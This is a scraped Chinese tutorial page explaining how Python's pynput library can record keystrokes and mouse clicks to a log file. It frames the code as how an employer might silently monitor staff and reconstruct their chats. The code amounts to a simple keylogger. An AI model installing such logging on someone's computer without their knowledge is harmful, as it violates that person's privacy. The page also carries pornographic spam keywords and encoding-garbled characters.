最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

你知道怎么用Python監(jiān)控聊天記錄嗎

 更新時間:2021年10月14日 10:45:05   作者:程序猿-小菜  
今天有位同事和我吐槽關(guān)于公司 XX 的問題,我告訴他不要在公司電腦上說這些,因為很可能會被狙擊,這位同事剛開始還不信,直到我寫了這邊文章,他才恍然大悟

在這里插入圖片描述

關(guān)于 pynput

    pynput 可以監(jiān)控我們的鍵盤和鼠標(biāo)。目前具有此類功能的庫有很多,比如 pygame 等游戲庫,但是當(dāng)我們只需要監(jiān)控鍵盤和鼠標(biāo)時,它們就顯得過于笨重了,我們可以選擇輕量,快速的 pynput。

實例

鍵盤監(jiān)控

    假設(shè)公司想要靜默為我們的電腦常駐一個后臺進程去實現(xiàn)監(jiān)控我們的鍵盤輸入并記錄下來,他們大概可以這樣做:

from pynput import keyboard


def on_press(key):
    print(f'{key} :pushed')

def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False


with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
    lsn.join()
復(fù)制代碼

控制臺打?。?#8195;                  

在這里插入圖片描述

鼠標(biāo)監(jiān)控

from pynput import mouse

def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        print('left was pressed!')
    elif button == mouse.Button.right:
        print('right was pressed!')
        return False
    else:
        print('mid was pressed!')

# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
    listener.join()
復(fù)制代碼

控制臺打?。?#8195;                  

在這里插入圖片描述

你會發(fā)現(xiàn),每條打印都被打印了兩次,這是因為按下去和抬起來都會觸發(fā)鼠標(biāo)事件。

監(jiān)控并記錄到日志文件

from pynput import keyboard,mouse
from loguru import logger
from threading import Thread

# 定義日志文件
logger.add('demo.log')
def on_press(key):
    logger.debug(f'{key} :pushed')

def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False

# 定義f1用于線程1
def f1():
    with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
        lsn.join()



def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
        return False
    else:
        logger.debug('mid was pressed!')

# 定義f2用于線程2
def f2():
    # Collect events until released
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()


if __name__ == '__main__':
    # 起兩個線程分別監(jiān)控鍵盤和鼠標(biāo)
    t1 = Thread(target=f1)
    t2 = Thread(target=f2)
    t1.start()
    t2.start()
復(fù)制代碼

查看日志內(nèi)容:   

在這里插入圖片描述

    如上,我們的鍵盤操作全部已經(jīng)被記錄,通過對這個日志文件進行簡單的 NLTK 語言處理,就能復(fù)原你的聊天記錄。

以上就是今天的全部內(nèi)容了,感謝您的閱讀,我們下節(jié)再會。

到此這篇關(guān)于你知道怎么用Python監(jiān)控聊天記錄嗎的文章就介紹到這了,更多相關(guān)Python 監(jiān)控內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • Python模擬登陸實現(xiàn)代碼

    Python模擬登陸實現(xiàn)代碼

    本篇文章主要介紹了Python模擬登陸實現(xiàn)代碼,這里整理了詳細的代碼,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2017-06-06
  • Python解析nginx日志文件

    Python解析nginx日志文件

    Web服務(wù)器的各種系統(tǒng)管理工作包括了多Nginx/Apache 日志的統(tǒng)計,python使這個任務(wù)變得極其簡單,下面我們來詳細講解下具體的做法,有需要的小伙伴可以參考下。
    2015-05-05
  • Python設(shè)計模式之抽象工廠模式原理與用法詳解

    Python設(shè)計模式之抽象工廠模式原理與用法詳解

    這篇文章主要介紹了Python設(shè)計模式之抽象工廠模式,簡單講述了抽象工廠模式的概念、原理并結(jié)合實例形式分析了Python實現(xiàn)與使用抽象工廠模式的相關(guān)操作技巧,需要的朋友可以參考下
    2019-01-01
  • Python圖像運算之圖像灰度非線性變換詳解

    Python圖像運算之圖像灰度非線性變換詳解

    這篇文章將詳細講解圖像灰度非線性變換。圖像灰度非線性變換主要包括對數(shù)變換、冪次變換、指數(shù)變換、分段函數(shù)變換,通過非線性關(guān)系對圖像進行灰度處理,本文主要講解三種常見類型的灰度非線性變換,感興趣的可以了解一下
    2022-03-03
  • Python自動化辦公Excel模塊openpyxl原理及用法解析

    Python自動化辦公Excel模塊openpyxl原理及用法解析

    這篇文章主要介紹了Python自動化辦公Excel模塊openpyxl原理及用法解析,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下
    2020-11-11
  • 關(guān)于Python核心框架tornado的異步協(xié)程的2種方法詳解

    關(guān)于Python核心框架tornado的異步協(xié)程的2種方法詳解

    今天小編就為大家分享一篇關(guān)于Python核心框架tornado的異步協(xié)程的2種方法詳解,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2019-08-08
  • 簡單聊聊Python中多線程與類方法的交互

    簡單聊聊Python中多線程與類方法的交互

    在Python編程中,多線程是一種提高程序運行效率的有效手段,本文將通過簡潔的語言、清晰的邏輯和實際的代碼案例,探討Python多線程如何調(diào)用類方法,感興趣的可以了解下
    2025-01-01
  • 分析Python感知線程狀態(tài)的解決方案之Event與信號量

    分析Python感知線程狀態(tài)的解決方案之Event與信號量

    本文主要介紹了如何感知線程狀態(tài)、如何停止一個線程、線程之間的Event用法
    2021-06-06
  • 利用Matplotlib實現(xiàn)單畫布繪制多個子圖

    利用Matplotlib實現(xiàn)單畫布繪制多個子圖

    這篇文章主要介紹了利用Matplotlib實現(xiàn)單畫布繪制多個子圖,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2023-02-02
  • TensorFlow 合并/連接數(shù)組的方法

    TensorFlow 合并/連接數(shù)組的方法

    今天小編就為大家分享一篇TensorFlow 合并/連接數(shù)組的方法,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2018-07-07

最新評論

双桥区| 重庆市| 石林| 通化市| 商洛市| 乐东| 宜春市| 东平县| 宿松县| 凉城县| 托克逊县| 景宁| 尼玛县| 吴川市| 汤原县| 吉木乃县| 城市| 宁明县| 哈尔滨市| 格尔木市| 安宁市| 阜宁县| 康定县| 东辽县| 莒南县| 通化市| 福清市| 百色市| 伊吾县| 应用必备| 马尔康县| 阿拉善左旗| 漠河县| 胶州市| 鄂州市| 长阳| 如东县| 德化县| 万安县| 鄢陵县| 宜黄县|